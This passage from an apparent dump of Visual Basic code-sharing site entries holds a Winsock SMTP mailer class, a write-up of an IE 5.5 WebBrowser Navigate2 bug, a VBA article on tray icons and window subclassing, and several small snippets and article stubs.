jd = 1 To ListLen(ToEmailAddress)\n Secnd = Secnd + \"rcpt to:\" + Chr(32) + ListGetAt(ToEmailAddress, jd) + vbCrLf\n Fifth = Fifth + \"To:\" + Chr(32) + ListGetAt(ToName, jd) + \" <\" + ListGetAt(ToEmailAddress, jd) + \">\" + vbCrLf\n Next jd\nElse\n Secnd = \"rcpt to:\" + Chr(32) + ToEmailAddress + vbCrLf ' Get who mail is going to\n Fifth = \"To:\" + Chr(32) + ToName + \" <\" + ToEmailAddress + \">\" + vbCrLf ' Who it going to\nEnd If\nDateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n First = \"mail from:\" + Chr(32) + FromEmailAddress + vbCrLf ' Get who's sending E-Mail address\n Third = \"Date:\" + Chr(32) + DateNow + vbCrLf ' Date when being sent\n Fourth = \"From:\" + Chr(32) + FromName + \" <\" + FromEmailAddress + \">\" + vbCrLf ' Who's Sending\n Sixth = \"Subject:\" + Chr(32) + EmailSubject + vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage + vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: LogMerge Reporter v 1.x\" + vbCrLf ' What program sent the e-mail, customize this\n Eighth = Fourth + Third + Ninth + Fifth + Sixth ' Combine For proper SMTP sending\n MyForm.HerbSock(WSIdx).Protocol = sckTCPProtocol ' Set protocol For sending\n progressset = 0.1\n statusset = \"Connecting....\": RaiseEvent statuschange\n While MyForm.HerbSock(WSIdx).State <> 7\n DoEvents\n If MyForm.HerbSock(WSIdx).State = 9 Then abort\n Wend\n Call WaitFor(\"220\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData (\"HELO windough.com\" + vbCrLf)\n progressset = 0.2\n Call WaitFor(\"250\", WSIdx)\n statusset = \"Connected\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).SendData (First)\n statusset = \"Sending Message\": RaiseEvent statuschange\n progressset = 0.3\n Call WaitFor(\"250\", WSIdx)\nFor jd = 1 To ListLen(ToEmailAddress)\n MyForm.HerbSock(WSIdx).SendData ListGetAt(Secnd, jd, vbCrLf) & vbCrLf\n progressset = 0.4\n Call WaitFor(\"250\", WSIdx)\nNext jd\n MyForm.HerbSock(WSIdx).SendData \"DATA\" + vbCrLf\n progressset = 0.5\n Call WaitFor(\"354\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData (Eighth + vbCrLf)\n MyForm.HerbSock(WSIdx).SendData (Seventh + vbCrLf)\n MyForm.HerbSock(WSIdx).SendData (vbCrLf + \".\" + vbCrLf)\n progressset = 0.7\n Call WaitFor(\"250\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData (\"quit\" + vbCrLf)\n progressset = 0.8\n \n statusset = \"Disconnecting:\" + Str(Timer - processtmr) + \" seconds.\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).Close\n busyset = False\n statusset = False\n 'Call WaitFor(\"221\")\nEnd Sub\nPrivate Sub ConnectSock(ws As Integer)\nRandomize Timer\nMyForm.HerbSock(ws).RemoteHost = SMTPHost\nMyForm.HerbSock(ws).LocalPort = 0\n'MyForm.HerbSock(ws).LocalPort = Int(Rnd * 1000)\nMyForm.HerbSock(ws).RemotePort = 25\nOn Error GoTo tryagain\nMyForm.HerbSock(ws).Connect\n'MyForm.HerbSock(ws).Connect Me.server, 25 ', , Int(Rnd * 1000)\nwaitforconnect:\nDoEvents\nIf MyForm.HerbSock(ws).State = sckConnecting Then GoTo waitforconnect\nExit Sub\ntryagain:\nDoEvents\nws = GetAvailableWinSock\nIf busyset Then Exit Sub\nMyForm.HerbSock(ws).Close\n'MyForm.HerbSock(ws).LocalPort = Int(Rnd * 1000)\nResume\nEnd Sub\nPrivate Function GetAvailableWinSock() As Integer\nDim jd As Integer, je As Integer\nje = 0\nFor jd = 0 To MyForm.HerbSock.UBound\n If MyForm.HerbSock(jd).State = sckClosed Then je = jd\nNext jd\nIf je = 0 Then\n If MyForm.HerbSock.UBound = MaxThreads Then\n busyset = True\n Else\n Load MyForm.HerbSock(MyForm.HerbSock.UBound + 1)\n ReDim Preserve indata(MyForm.HerbSock.UBound + 1)\n je = MyForm.HerbSock.UBound\n End If\nEnd If\nGetAvailableWinSock = je\nEnd Function\nPublic Sub SendMultiPartEmail(FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String, HTMLBodyofMessage As String)\nDim WSIdx As Integer\nWSIdx = GetAvailableWinSock\nDim Secnd As String\nRandString = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_\"\nConnectSock (WSIdx)\nprocesstmr = Timer\nDim uniquey As Integer, GlobalUnique As String\nFor jd = 1 To 24\nuniquey = Int(Rnd * Len(RandString)) + 1\nGlobalUnique = GlobalUnique + Mid(RandString, uniquey, 1)\nNext jd\n'Quick multi-reciepient hack\nIf ListLen(ToEmailAddress) > 1 Then\n For jd = 1 To ListLen(ToEmailAddress)\n Secnd = Secnd + \"RCPT to:\" + Chr(32) + ListGetAt(ToEmailAddress, jd) + vbCrLf\n Fifth = Fifth + \"To:\" + Chr(32) + ListGetAt(ToName, jd) + \" <\" + ListGetAt(ToEmailAddress, jd) + \">\" + vbCrLf\n Next jd\nElse\n Secnd = \"rcpt to:\" + Chr(32) + ToEmailAddress + vbCrLf ' Get who mail is going to\n Fifth = \"To:\" + Chr(32) + ToName + \" <\" + ToEmailAddress + \">\" + vbCrLf ' Who it going to\nEnd If\n DateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n First = \"mail from:\" + Chr(32) + FromEmailAddress + vbCrLf ' Get who's sending E-Mail address\n Third = \"Date:\" + Chr(32) + DateNow + vbCrLf ' Date when being sent\n Fourth = \"From:\" + Chr(32) + FromName + \" <\" + FromEmailAddress + \">\" + vbCrLf ' Who's Sending\n Sixth = \"Subject:\" + Chr(32) + EmailSubject + vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage + vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: HerbMail v 1.x\" + vbCrLf ' What program sent the e-mail, customize this\n 'MULTI-PART Edit\n \n Seventh = \"------=_NextPart_\" + GlobalUnique + vbCrLf + \"Content-type: text/plain; charset=US-ASCII\" + vbCrLf + vbCrLf + Seventh\n Seventh = Seventh + \"------=_NextPart_\" + GlobalUnique + vbCrLf + \"Content-type: text/HTML\" + vbCrLf + vbCrLf + HTMLBodyofMessage + vbCrLf + vbCrLf\n Seventh = Seventh + \"------=_NextPart_\" + GlobalUnique + \"--\" + vbCrLf\n Sixth = Sixth + \"MIME-Version: 1.0\" + vbCrLf + \"Content-Type: multipart/alternative; \" + vbCrLf + Chr(9) + \"boundary=\"\"----=_NextPart_\" + GlobalUnique + \"\"\"\" + vbCrLf + vbCrLf + \"This mail is in MIME format. Your mail interface does not appear to support this format.\" + vbCrLf + vbCrLf\n Eighth = Fourth + Ninth + Fifth + Sixth ' Combine For proper SMTP sending\n \n progressset = 0.1\n statusset = \"Connecting....\": RaiseEvent statuschange\n While MyForm.HerbSock(WSIdx).State <> sckConnected\n statusset = \"Connecting....\" & MyForm.HerbSock(WSIdx).State: RaiseEvent statuschange\n DoEvents\n If MyForm.HerbSock(WSIdx).State = sckClosed Then ConnectSock (WSIdx)\n Wend\n Call WaitFor(\"220\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData \"HELO windough.com\" + vbCrLf\n progressset = 0.2\n Call WaitFor(\"250\", WSIdx)\n statusset = \"Connected\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).SendData First\n statusset = \"Sending Message\": RaiseEvent statuschange\n progressset = 0.3\n Call WaitFor(\"250\", WSIdx)\nFor jd = 1 To ListLen(ToEmailAddress)\n MyForm.HerbSock(WSIdx).SendData ListGetAt(Secnd, jd, vbCrLf) & vbCrLf\n progressset = 0.4\n Call WaitFor(\"250\", WSIdx)\nNext jd\n MyForm.HerbSock(WSIdx).SendData \"DATA\" + vbCrLf\n progressset = 0.5\n Call WaitFor(\"354\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData Eighth + vbCrLf\n MyForm.HerbSock(WSIdx).SendData Seventh + vbCrLf + vbCrLf\n MyForm.HerbSock(WSIdx).SendData vbCrLf + \".\" + vbCrLf\n progressset = 0.7\n Call WaitFor(\"250\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData \"quit\" + vbCrLf\n progressset = 0.8\n statusset = \"Disconnecting:\" + Str(Timer - processtmr) + \" seconds.\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).Close\n busyset = False\n statusset = False\nEnd Sub\nPublic Property Get status() As String\nstatus = statusset\nEnd Property\nPublic Property Get busy() As Boolean\nbusy = busyset\nEnd Property\n\nPrivate Sub WaitFor(ResponseCode As String, WSIdx As Integer)\n Start = Timer ' Time Event so won't Get stuck In Loop\nindata(WSIdx) = \"\"\nMultiRecipWait:\nWhile indata(WSIdx) = \"\"\nDoEvents\n Tmr = Timer - Start\n If Tmr > 10 Then\n MsgBox \"SMTP time-out, please check your connection and settings\"\n \n Exit Sub\n End If\nWend\n If indata(WSIdx) = \"ABORT_VBVB\" Then Exit Sub\n If (Left(response(WSIdx), 3) <> ResponseCode) And ResponseCode <> \"220\" Then\n MsgBox \"SMTP service error, impromper response code. Code should have been: \" + ResponseCode + \" Code recieved: \" + response(WSIdx), 64, MsgTitle\n Else\n If (Left(response(WSIdx), 3) <> ResponseCode) Then GoTo MultiRecipWait\n End If\n cleardata (WSIdx) ' Sent response code To blank **IMPORTANT**\n End Sub\nPublic Sub abort()\nMyForm.HerbSock(WSIdx).Close\nindata(WSIdx) = \"ABORT_VBVB\"\nstatusset = \"Error Occured/Aborted\": RaiseEvent statuschange\nEnd Sub\nPrivate Sub UserControl_Initialize()\nMaxThread = 5\nbusyset = False\nEnd Sub\nPrivate Sub Class_Initialize()\nMaxThread = 5\nbusyset = False\nEnd Sub\n"},{"WorldId":1,"id":11140,"LineNumber":1,"line":"UPDATE! - 12/26/2000 Microsoft LISTS THIS BUG OFFICIALLY at:\n<a href=\"http://support.microsoft.com/support/kb/articles/Q279/6/68.ASP\">http://support.microsoft.com/support/kb/articles/Q279/6/68.ASP</a> End UPDATE \nUPDATE! - Sent from Microsoft Herb, \n \n \n \nThanks for sending in the codes. I am able to reproduce the same problem with your code. I verified that in IE5 navigate2 accept a string as URL, in IE5.5 it only accept a variant. Or you could pass in the url inline without using a variable. Then I looked at the source of both versions and set up a debugger to verify. Here is the situation: \n \nWhen you specific the URL as a string, VB will passed in VT_BSTR|VT_BYREF \n \nIn both IE5.0 and IE5.5, the header info are the same in the IDL file which accept a variant \n \n[id(0x000001f4), helpstring(\"Navigates to a URL or file or pidl.\")] \n \nHRESULT Navigate2( \n \n [in] VARIANT* URL, \n \n [in, optional] VARIANT* Flags, \n \n [in, optional] VARIANT* TargetFrameName, \n \n [in, optional] VARIANT* PostData, \n \n [in, optional] VARIANT* Headers); \n \nHowever, the implementations are different. \n \nIn IE5.0, the URL param could be VT_BSTR, VT_BSTR|VT_BYREF or VT_ARRAY|VT_UI1 \n \nIn IE5.5, it uses a function to determine the values of the URL and it only accepts VT_BYREF | VT_VARIANT or VT_BSTR \n \nSo, it returns an error E_INVALIDARG when VB passed in VT_BSTR|VT_BYREF. \n \n \nAnd I filed a bug on this. \n \nSo at the mean time, you would have to use variant as I believe passing the url inline probably won’t go too far in most applications.\n \n \n \nPlease let me know if you have any more concerns.\n \nJoshua Lee (MCP + Site Building) \n \nContent Lead \n \nInternet Client Team \n \nMicrosoft Developer Support \nEnd UPDATE. Original article follows: \nIn the Microsoft Knowledge Base article at:<a href=\"http://support.microsoft.com/support/kb/articles/Q269/6/14.ASP?LN=EN-US&SD=SO&FR=1\">http://support.microsoft.com/support/kb/articles/Q269/6/14.ASP?LN=EN-US&SD=SO&FR=1</a>A bug in IE 5.5 users' WebBrowser controls is exposed. The WebBrowser1_NavigateComplete event is NOT FIRED when the control is set to visible = FALSE.(Invisible)I have also found another bug (and I am working with Microsoft on it) with the 5.5 WebBrowser Control:When you use a string variable in the Navigate2 method, the control fails to navigate (and may cause an error!)\nHere is a code that you can place in a form with a webbrowser control on it:<pre>\nSub form_load()\nDim urly As String\nurly = \"http://directleads.com/ad.html?o=993&a=cd15860\"\nWebBrowser1.Navigate2 urly\nEnd Sub\nPrivate Sub WebBrowser1_BeforeNavigate2(ByVal pDisp As Object, URL As Variant, Flags As Variant, TargetFrameName As Variant, PostData As Variant, Headers As Variant, Cancel As Boolean)\nMsgBox \"Hello!\"\nEnd Sub</pre>When you execute this code on a computer with IE other than 5.5, You will get the appropriate MsgBox with Hello! in it (and our website). With 5.5, however, you will get and Error 5.The workaround is to declare the URL variable (urly) as a Variant -OR- Use the Navigate (no 2) Method. (as described in the <a href=\"http://support.microsoft.com/support/kb/articles/Q167/4/35.asp\" target=\"_blank\">MS Knowledge Base</a> (See #28). The variant may not be as efficient as the string type, but it works on ALL versions of IE. If you appreciate this 'bulletin' of sorts, I humbly ask for a vote. I understand this is not an application, but hey it's important to anyone with a webbrowser control on their app!Have Fun, Herbert L. Riede Programmer, <a href=\"http://directleads.com/ad.html?o=993&a=cd15860\" target=\"_blank\">WinDough.com, Inc.</a>"},{"WorldId":1,"id":23945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27015,"LineNumber":1,"line":"VBA is a nice tool for quick-and-dirty macro programming.\nHowever, it lacks quite a few things to enable the programmer\nto build \"full-fledged\" applications using VBA.\nThis is a pity as it's more common to have a customer's PC\nwith MS-Office installed than a PC with VB on it.\nI tried to overcome some of these limitations as there are:\n-\"cosmetics\"\n-windows show up always at the same position\n-no Minimize button in window caption\nBy the way, substitute \"Excel\" by \"Word\" if you're\nusing the Word-VBA.\nCosmetics\n---------\nThe first (and last) thing I usually do is hide Excel\nduring execution of my programm; this looks much nicer\nand brings a macro closer to being a \"real\" program.\nI also can put a shortcut to the .xls-file on the\ndesktop and double-clicking opens my window.\nThus,\nPrivate Sub UserForm_Initialize()\n Excel.Application.Visible = False\n ' other stuff here\nEnd Sub\nPrivate Sub UserForm_Terminate()\n ' this line closes excel if there's only one open\n ' workbook. only makes sense if macro is debugged\n ' otherwise excel shuts down after each run.\n If Excel.Workbooks.Count = 1 Then \n Excel.Application.Quit\n Else\n Excel.Application.Visible = True\n End If\nEnd Sub\ndoes the trick.\nWindow-Positions\n----------------\nI want my applications to remember their window positions\nand to come up with the windows where I left them.\nWith VBA, there is a knack to it:\nas the Visible-property of a form is read-only,\nyou must call the Show routine if the form is to be\nshown after a Hide call (see below why one would want to\nhide a form). This shows the form not at the previous\nposition but at the default position. So we need a flag\nand a file to store the positions:\nPrivate hasPos as Boolean\nPrivate Sub UserForm_Initialize()\n hasPos = False\nEnd Sub\nPrivate Sub UserForm_Activate()\n If Not hasPos Then\n hasPos = True\n recallWinPos ' this routine reads top and left\n ' from a file and sets the form\n ' top and left properties\n End If\nEnd Sub\nPrivate Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)\n ' do this in QueryClose event as in\n ' Terminate event top and left are meaningless\n storeWinPos Me.left, Me.top\nEnd Sub\nMinimize Window\n---------------\nIt's really annoying that the VBA forms don't have a\nMinimize box and that they don't show up in the task bar.\nIt might be possible to create standard windows using\nAPI calls and/or custom OCXs; however I wanted a solution\nusing only VBA built-in functions (plus, I have to admit,\nsome API calls).\nAfter some thoughts I came up with the idea to add an icon\nto the Sys-Tray and show or hide the window when the user\nclicks into that icon. Adding an icon to the systray is a\npiece of cake; the code is readily available quite a few\ntimes at this site. The first problem is to obtain the\nwindow handle of the form as this is NOT a property.\nThat's where a usefull API call comes in:\nPublic Declare Function GetActiveWindow Lib \"user32\" () As Long\nPrivate Sub UserForm_Activate()\n myHWnd = GetActiveWindow\nEnd Sub\nStill crazy after all these programming-years, I supplied\nthis handle to the NOTIFYICONDATA structure expecting\na click into the tray icon showing up in the UserForm_MouseMove\nevent - naaaaahh....\nUsing the APISpyer by Steve Weller, I learned that the handle\nreturned only \"covers\" the non-client area (caption and border)\nof the form; the \"body\" has it's own window handle.\nHow to find it? Well, that's where another API call comes in handy:\nPublic Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWndParent As Long, ByVal hWndChildAfter As Long, ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nWe \"only\" need to know the class name of our window; that'd do the trick.\nHere is another tool from this site of help,\nthe Window Explorer. It browses through all windows\nplus all child windows. It tells me that the class name\nin question is \"F3 Server 60000000\".\nThus, here's what we need to do:\nPrivate Sub UserForm_Activate()\n myHWnd = FindWindowEx(GetActiveWindow, 0, \"F3 Server 60000000\", \"\")\nEnd Sub\nOK, now a click in the tray icon throws a MouseMove event.\nThe button being pressed or released is coded in the X parameter\nwhich is not very convenient:\nPrivate Sub UserForm_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)\n Dim msg As Long\n ' if from tray, button=1 and y=0\n If (Button = 1) And (Y = 0) Then\n msg = (X * 4) / 3\n If msg = WM_LBUTTONUP Then ShowOrHideMe\n End If\nEnd Sub\nThe call to ShowOrHideMe checks wether the from is\nvisible and shows or hides it, accordingly.\nHowever, as mentioned before, the UserForm.Visible\nproperty can't be used as it is read-only.\nSo we'd have to use the .Hide and .Show routines.\nBut this is a pain in the butt as after a Show our\nform shows up at the design-time position rather\nthan where we put it (that's because it's a modal form).\nAt that time, I grew tired of using more flags\nin the Activate event. I decided to move the form\noff-screen rather than hiding it:\nIf isVisible Then\n visPos_left = Me.left\n visPos_top = Me.top\n Me.left = 0\n Me.top = 65535\nElse\n Me.left = visPos_left\n Me.top = visPos_top\n Me.Repaint\n winToTop\nEnd If\nisVisible = Not isVisible\nThe winToTop routine does what the name tells us: it\nbrings the window on top of all other things.\nIt took me a while to get it to work as all obvious\nmethods (send WM_ACTIVATEAPP, send WM_LBUTTONDOWN\nfollowed by WM_LBUTTONUP, call BringWindowToTop) didn't\ndo it. So, more APIs:\nPublic Type RECT\n left As Long\n top As Long\n right As Long\n bottom As Long\nEnd Type\nPublic Declare Function GetWindowRect Lib \"user32.dll\" (ByVal hwnd As Long, lpRect As RECT) As Long\nPublic Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\nPrivate Sub winToTop()\n Dim xcoord As Long, ycoord As Long\n Dim winrect As RECT ' receives coordinates of the window\n GetWindowRect myHWnd, winrect\n xcoord = (winrect.right - winrect.left)\n ycoord = (winrect.bottom - winrect.top)\n SetWindowPos myHWnd, HWND_TOPMOST, winrect.left, winrect.top, xcoord, ycoord, 0\nEnd Sub\nNote that myHWnd is the window handle of the non-client window\n(the mother of our windows), NOT the \"F3 Server 60000000\" child\nwindow handle.\nI'm sure there are other ways to bring the window to top\nbut winToTop works and I was too lazy to dig further into it.\nAll in all, this is not very satisfying.\n-we need to know the class name of the \"body\" window.\n If for some reason this name changes, we're stuck.\n-A click into the tray is NOT distinguishable from\n a 'real' MouseMove event - if a user keeps the left\n mouse button pressed and moves the mouse around, he can\n trigger a tray event thus hiding our form.\nWhat other options do we have? Well, with VB it's easy\nto do: sub-class the window function associated with\nour form, tell the tray icon to use a custom event\n(e.g. WM_USER + &H100) and intercept that event.\nTo do that we need to know the address of our VB\nsub-classing function which can be done by using\nthe AddressOf operator.\nNow, this guy doesn't exist in VBA.\nBut Edwin Vermeer showed on this site a way to do it\nin VBA (I recommend reading his article, it's brilliant):\nPublic Declare Function GetCurrentVbaProject Lib \"vba332.dll\" Alias \"EbGetExecutingProj\" (hProject As Long) As Long\nPublic Declare Function GetFuncID Lib \"vba332.dll\" Alias \"TipGetFunctionId\" (ByVal hProject As Long, ByVal strFunctionName As String, ByRef strFunctionId As String) As Long\nPublic Declare Function GetAddr Lib \"vba332.dll\" Alias \"TipGetLpfnOfFunctionId\" (ByVal hProject As Long, ByVal strFunctionId As String, ByRef lpfn As Long) As Long\nPublic Function AddrOf(strFuncName As String) As Long\n \n Const NO_ERROR = 0\n \n Dim hProject As Long\n Dim lngResult As Long\n Dim strID As String\n Dim lpfn As Long\n Dim strFuncNameUnicode As String\n \n \n AddrOf = 0\n ' The function name must be in Unicode, so convert it.\n strFuncNameUnicode = StrConv(strFuncName, vbUnicode)\n ' Get the current VBA project\n Call GetCurrentVbaProject(hProject)\n ' Make sure we got a project handle... \n ' we always should, but you never know!\n If hProject <> 0 Then\n ' Get the VBA function ID\n lngResult = GetFuncID(hProject, strFuncNameUnicode, strID)\n If lngResult = NO_ERROR Then\n ' Get the function pointer.\n lngResult = GetAddr(hProject, strID, lpfn)\n If lngResult = NO_ERROR Then\n AddrOf = lpfn\n End If\n End If\n End If\nEnd Function\nNow, we can \"hook\" our windows function:\nPublic Const WM_USER = &H400\nPublic Const WM_MYTRAYEVENT = WM_USER + &H100\nPublic lpfnOldWinProc As Long\nPublic Sub setHook(hWnd As Long, strFunction As String)\n Dim lpNewFunc As Long\n lpNewFunc = AddrOf(strFunction)\n If lpNewFunc = 0 Then Exit Sub\n If lpfnOldWinProc <> 0 Then unsetHook hWnd\n lpfnOldWinProc = SetWindowLong(hWnd, GWL_WNDPROC, lpNewFunc)\nEnd Sub\nPublic Sub unsetHook(hWnd As Long)\n On Error Resume Next\n If lpfnOldWinProc = 0 Then Exit Sub\n SetWindowLong hWnd, GWL_WNDPROC, lpfnOldWinProc\n lpfnOldWinProc = 0\nEnd Sub\nPublic Function hookFunc(ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n If msg = WM_MYTRAYEVENT Then\n If lParam = WM_LBUTTONUP Then ShowOrHideMe\n End If\n hookFunc = CallWindowProc(ByVal lpfnOldWinProc, ByVal hWnd, ByVal msg, ByVal wParam, ByVal lParam)\nEnd Function\nSo, in the UserForm_Initialize event, init all flags etc.\nIn Activate, call setHook(GetActiveWindow,\"hookFunc\")\nafter putting an icon into the systray (as the Activate\nevent might be called more than once, use a flag to make\nsure setHook gets called only once!).\nIn Terminate, call unsetHook.\nThis works reliably and is more professional\nthan the previous solution.\nCAUTION! Never set a break point in your hookFunc\nand ALWAYS use the close box to stop your program\nor anything can happen! Save your project before\nrunning it, just in case...\nImprovements\n------------\nWell, there's an easy one (I still was too lazy\nto implement it) and a tough one:\n-if the form is covered by other forms, you need two\n tray clicks to show it - should be only one.\n-it still bugs my that the form does not show up\n in the task bar - anyone got an idea?\nUpdate\nI've added the text of this article as a zip file."},{"WorldId":1,"id":12455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12526,"LineNumber":1,"line":"Private Sub Command1_Click()\nText1.Text = Replace(Text1.Text, Text2.Text, Text3.Text, 1, , vbTextCompare)\n'here's how it works:\n ' where text1.text is , thats the source of what ur looking in, ex: a label or text box\n ' where text2.text is , that's what u are looking for\n ' where text3.text is , thats what u want to replace what u find with\n ' leave everything else alone after that\n \n \nText2.Text = \"Find What?\"\nText3.Text = \"Replace With What?\"\nEnd Sub\nPrivate Sub Form_Load()\nText2.Text = \"Find What?\"\nText3.Text = \"Replace With What?\"\nText1.Text = \"Type Text in Here\"\nEnd Sub\n"},{"WorldId":1,"id":25478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13189,"LineNumber":1,"line":"'Simple, just put the below code above \nany of your other codes, so if it has an error the program wont crash. \nOn Error Resume Next \n'It cant be more simple."},{"WorldId":1,"id":10981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10949,"LineNumber":1,"line":"Option Explicit\n' If you are adding an ActiveX control at run-time that is\n' not referenced in your project, you need to declare it\n' as VBControlExtender.\nDim WithEvents ctlDynamic As VBControlExtender\nDim WithEvents ctlCommand As VB.CommandButton\nDim WithEvents ctlText As VB.TextBox\nPrivate Sub ctlCommand_Click()\n 'since we delcared withevents, we can use them\n ctlDynamic.object.Value = CDate(ctlText.Text)\nEnd Sub\nPrivate Sub ctlDynamic_ObjectEvent(Info As EventInfo)\n \n 'This is sort of an 'all-in-one' event\n 'so you have to check parameters and event name\n Dim p As EventParameter\n Debug.Print Info.Name\n \n For Each p In Info.EventParameters\n Debug.Print p.Name, p.Value\n Next\n Select Case Info.Name\n Case \"NewMonth\"\n ctlText.Text = ctlDynamic.object.Value\n Case \"Click\"\n MsgBox ctlDynamic.object.Value\n End Select\nEnd Sub\nPrivate Sub Form_Load()\n 'If you get run-time error number 732.\n 'Then the control isn't in the liscenses collection\n 'Use this line with the ProgID you want\n 'Licenses.Add [ProgID]\n \n ' Add a control and set the properties of the control\n Set ctlDynamic = Controls.Add(\"mscal.calendar\", \"calMain\", Form1)\n With ctlDynamic\n .Move 1, 400, 4000, 3000\n .Visible = True\n End With\n \n ' add a textbox and set properties for the textbox\n Set ctlText = Controls.Add(\"VB.TextBox\", \"ctlText1\", Form1)\n With ctlText\n .Move 1, 1, 3400, 100\n .Text = ctlDynamic.object.Value\n .Visible = True\n End With\n \n ' Add a CommandButton.\n Set ctlCommand = Controls.Add(\"VB.CommandButton\", \"ctlCommand1\", Form1)\n With ctlCommand\n .Move 3450, 1, 450, 300\n .Caption = \"Go!\"\n .Visible = True\n End With\nEnd Sub"},{"WorldId":1,"id":10698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12237,"LineNumber":1,"line":"Dear Friends,\nKindly see the attached ZIP for the article and associated projects. Anyway, here is a short introduction. As you know, now a days, the term Application\nServer is becoming so hot. An Application Server\nis a software that runs on the middle layer. I mean; it runs between a thin front end (in this case the web browser) and\nback end servers.\nMost Application Servers rely on Internet Servers, to pass\ninformation/data to clients on the web. Application Servers are expected to support COM (Component Object Model) and/or CORBA (Common\nObject Request Broker Architecture) frameworks. \n \nIn this case, we are creating an Application Server that supports COM interface.\nAfter reading this, you can\n<ul>\n <li>Get an idea about Application Servers.</li>\n <li>Create and use your own COM based Application Servers.</li>\n <li>Write directly to RESPONSE object from\n a COM component (Got it? Instead of passing a value back to a variable in ASP to write it to response object, write\n directly to response object from your component)</li>\n <li>See how to integrate additional logic (say your existing\n business COM objects) using our Application Server</li>\n</ul>\nAlso, if you are the CEO of an IT/Web\ncompany, don't forget to read about my ventures in the preface section\n:-).┬á OOPS, forgot to tell all of you one thing; VOTE for me please,\nbecause I took nearly 6-7 hours to write this completely :-) (ofcourse, the brain work is extra.lol.)\nAlways ur's Anoop, <a href=\"mailto:anoopj13@yahoo.com\">anoopj13@yahoo.com</a>\n┬á\n"},{"WorldId":1,"id":11572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13586,"LineNumber":1,"line":"Kindly download the Zip file, by clicking the link below, to see the article and the associated projects (3 projects) in it. Extract the Zip, and read the Readme Text File First."},{"WorldId":1,"id":21117,"LineNumber":1,"line":"Kindly download the attached zip file for the article and three projects related with it. See the Readme file in the 